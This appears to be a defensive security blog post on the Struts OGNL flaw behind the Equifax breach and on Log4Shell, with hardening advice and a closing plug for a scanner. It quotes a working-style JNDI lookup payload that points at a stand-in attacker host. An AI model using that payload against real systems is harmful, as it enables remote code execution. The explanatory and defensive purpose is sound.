Skip to main content

The interpreter you did not know you were calling

Two of the most consequential vulnerabilities of the last decade were the same bug wearing different clothes. In one, an HTTP header was pasted into an error message and the error-message code evaluated it as an expression. In the other, a log line was scanned for lookup tokens, and one of those tokens fetched and ran a Java class from a server the attacker controlled.

Neither codebase called eval. Neither team chose to build an interpreter. The interpreter was already there, inside a dependency, doing exactly what it was designed to do.

What happened, twice

Struts, OGNL, and Equifax (2017)

Apache Struts 2 is a Java web framework. Its Jakarta multipart parser handles file uploads, and when it receives a Content-Type header it cannot parse, it raises an error and builds a message describing the problem.

That message-building step was the vulnerability. The raw, attacker-controlled header string was passed through LocalizedTextUtil.findText, the framework's localized-message helper. That helper evaluates any ${...} or %{...} sequence it finds as an OGNL expression. OGNL, the Object-Graph Navigation Language, is Struts' embedded expression engine, and it can reach the Java runtime.

So the flow was: send a Content-Type header the parser cannot understand, containing an OGNL expression. The parser fails. The failure path interpolates your header into a message template. The template engine evaluates your expression. You have remote code execution, unauthenticated, on a request that never got as far as any application code you wrote.

Read that ordering again, because it is the part that surprises people: the vulnerable code only ran when parsing failed. A well-formed request went nowhere near it.

Apache released the fix on 7 March 2017. Equifax did not apply it. According to the FTC's settlement announcement, the breach exposed the personal data of at least 147 million people, including 145.5 million Social Security numbers and 209,000 payment card numbers. The global settlement had a floor of $575 million and a ceiling of $700 million.

Two figures are routinely misquoted here, so it is worth being precise. The widely repeated "143 million" was Equifax's own initial count; the FTC later confirmed at least 147 million. And "$700 million" is the cap on the settlement, not the agreed amount: the floor is $575 million.

Log4Shell (2021)

Log4j 2 is one of the most widely deployed logging libraries in the Java ecosystem. It had a feature called message lookups: if a string being logged contained ${...}, Log4j would resolve the lookup and substitute the result. Some of those lookups were useful, like environment variables. One of them was jndi.

A logged string containing ${jndi:ldap://attacker.example/x} caused Log4j to perform a JNDI lookup over LDAP. On affected JVM configurations that lookup fetched and instantiated a remote Java class, which is to say it ran the attacker's code.

The delivery mechanism was whatever your application logged. Set a username to that string. Set a User-Agent header to it. Put it in a search box. Then wait for something, anywhere in the request path, to write it to a log.

The load-bearing facts are these: CVE-2021-44228, disclosed on 9 December 2021, CVSS 3.1 base score 10.0, affecting Log4j 2 from 2.0-beta9 through 2.14.1, with a first (and partial) fix in 2.15.0.

You will also see confident counts of how many devices or servers were exposed. Do not repeat them. No credible exact figure exists, and published estimates vary enormously by source and by method. The honest statement is that the library was embedded across hundreds of millions of systems ecosystem-wide, and that the CVE, the date, the score and the version range are the parts you can actually check.

Why it compiled and shipped anyway

Both bugs sat in production for a long time, in code reviewed by competent people. Five reasons, and none of them is carelessness.

Nothing dangerous appears in the diff. There is no Runtime.exec, no eval, no string concatenated into SQL. The sink is a library call whose name reads as harmless: build an error message, write a log line. A reviewer looking for dangerous functions finds none.

The two paths involved are the least-reviewed paths in any codebase. Error handling and logging get written once, checked for "does it produce a string", and never revisited. They are also the paths most likely to receive raw, unvalidated input, because they run before or instead of the normal validation flow.

The trust gradient is inverted. Developers treat logging as the safest possible thing to do with untrusted input, precisely because it does not touch the database or the shell. That intuition is what the attack monetizes.

The interpreter is transitive. Log4j arrives through a framework, which arrives through a starter dependency, which arrives because somebody wanted a web server. Plenty of teams shipped the vulnerable code without ever having made a decision about their logging library.

Every layer trusted the layer below it. A string was logged, which looked like data. Log4j evaluated it, which turned out to be an expression language. JNDI resolved it, which turned out to be a class loader. No single layer was obviously wrong on its own terms. The composition was catastrophic.

The class of flaw

This is data/code confusion, and it is one bug, not a family of related ones. Strip away the language and every instance is four steps:

  1. Bytes cross a trust boundary. A header, a form field, a filename, a queue message, a log line.
  2. Those bytes reach something that parses. A SQL engine, a shell, a template compiler, a deserializer, a lookup evaluator.
  3. That parser is powerful enough to find structure, not just content, in the bytes. A quote ends a literal. A semicolon chains a command. ${} triggers a lookup. __reduce__ names a callable.
  4. The developer assumed data. The interpreter assumed code. The gap between those two assumptions is the vulnerability.

The same skeleton produces SQL injection, OS command injection, server-side template injection, unsafe deserialization, and both of the incidents above. OWASP files the whole family as A03:2021.

One myth worth killing while we are here. Injection was ranked first in the 2017 OWASP Top 10 and third in 2021, and this is regularly presented as evidence that the industry solved it. It is not. The 2021 list changed its ranking methodology (it ranks largely by incidence rate) and folded cross-site scripting into the same category. The category moved. The bug did not go anywhere.

The other thing worth naming is the gadget-chain problem. In Java deserialization, in PHP object injection, and in JavaScript prototype pollution, the attacker supplies only data. The executable part of the exploit is assembled from classes already sitting on your classpath, in libraries you never call directly. So "I never call exec" is not a defence, and neither is "there is no chain in my application". Chains live in dependencies, and they appear over time as those dependencies change.

What to check in your own codebase

This is the part that transfers. None of it requires knowing about Struts or Log4j specifically.

Inventory your hidden interpreters. For every dependency that takes a string and gives you back a string, ask one question: does it expand anything? Look for ${...}, %{...}, #{...}, {{...}} support in loggers, internationalization and message bundles, template engines, configuration loaders, email and notification templating, rules and formula engines, and any query builder that advertises expression support. If a library expands placeholders, it is an expression language, and untrusted input must never reach it as part of the pattern.

Treat error paths as sinks. Search for places where a raw request value is interpolated into a message that is then handed to a formatter, a localizer, or a template. The dangerous shape is format(userInput). The safe shape is format("...{}", userInput), where the untrusted value is an argument and never part of the format string. This is the same rule as the printf format-string bugs of twenty years ago, and it generalizes further than people expect.

Log with parameters, not concatenation. Passing the value as a parameter does not by itself defeat a logger that expands lookups after substitution, so this is not a complete fix for a Log4Shell-shaped bug. It is still the right default, because it keeps untrusted text out of the one string the library treats as syntax.

Turn off the features you do not use. Message lookups in your logger. DTD processing in your XML parser. Expression evaluation in templates you render from user-supplied content. A feature you have disabled cannot be a sink.

Reach for the least powerful parser that does the job. yaml.safe_load rather than yaml.load. JSON rather than pickle. A strict allowlist of expected classes rather than a general readObject over untrusted bytes. A parser that cannot construct objects cannot be tricked into constructing a malicious one.

Know what is actually in your build, including what you did not choose. Direct dependencies are the easy part. The hard part is the transitive graph, and the harder part still is working out whether the vulnerable code path in a flagged version is reachable from an entry point in your application. That distinction is what turns a wall of advisories into a work queue somebody can finish.

Reject the "just data" label. A log line, a filename, a YAML config, a queue message, an HTTP header. Every one of those has been a real remote-code-execution path in a shipped system. "Data" is your assumption about the bytes, not a guarantee the interpreter has agreed to.

Where the record is thin

Being straight about the limits of the public record is part of the point of these guides.

For Log4Shell, the blast-radius numbers are estimates. The CVE, the disclosure date, the CVSS score and the affected version range are checkable; the device counts are not.

For Equifax, the initial-access mechanism is well documented and so are the regulatory outcomes. What is not a code-level story, and what we are not going to attribute to the Struts bug, is how much of the eventual loss came from the unpatched framework versus everything that happened after the attacker was already inside. The first door was a missing patch on a framework whose error path was an interpreter. How large the room behind that door turned out to be is a separate question, and it is not one the code answers.

Sources


Where Vulkro fits

If the dependency-inventory problem above is the one you are stuck on: Vulkro reads dependency manifests and lockfiles on your own machine, without uploading the code, and reports the versions with known vulnerabilities. It matches against a checksummed CVE bundle held on disk, so the scan works with the network off.

Read next: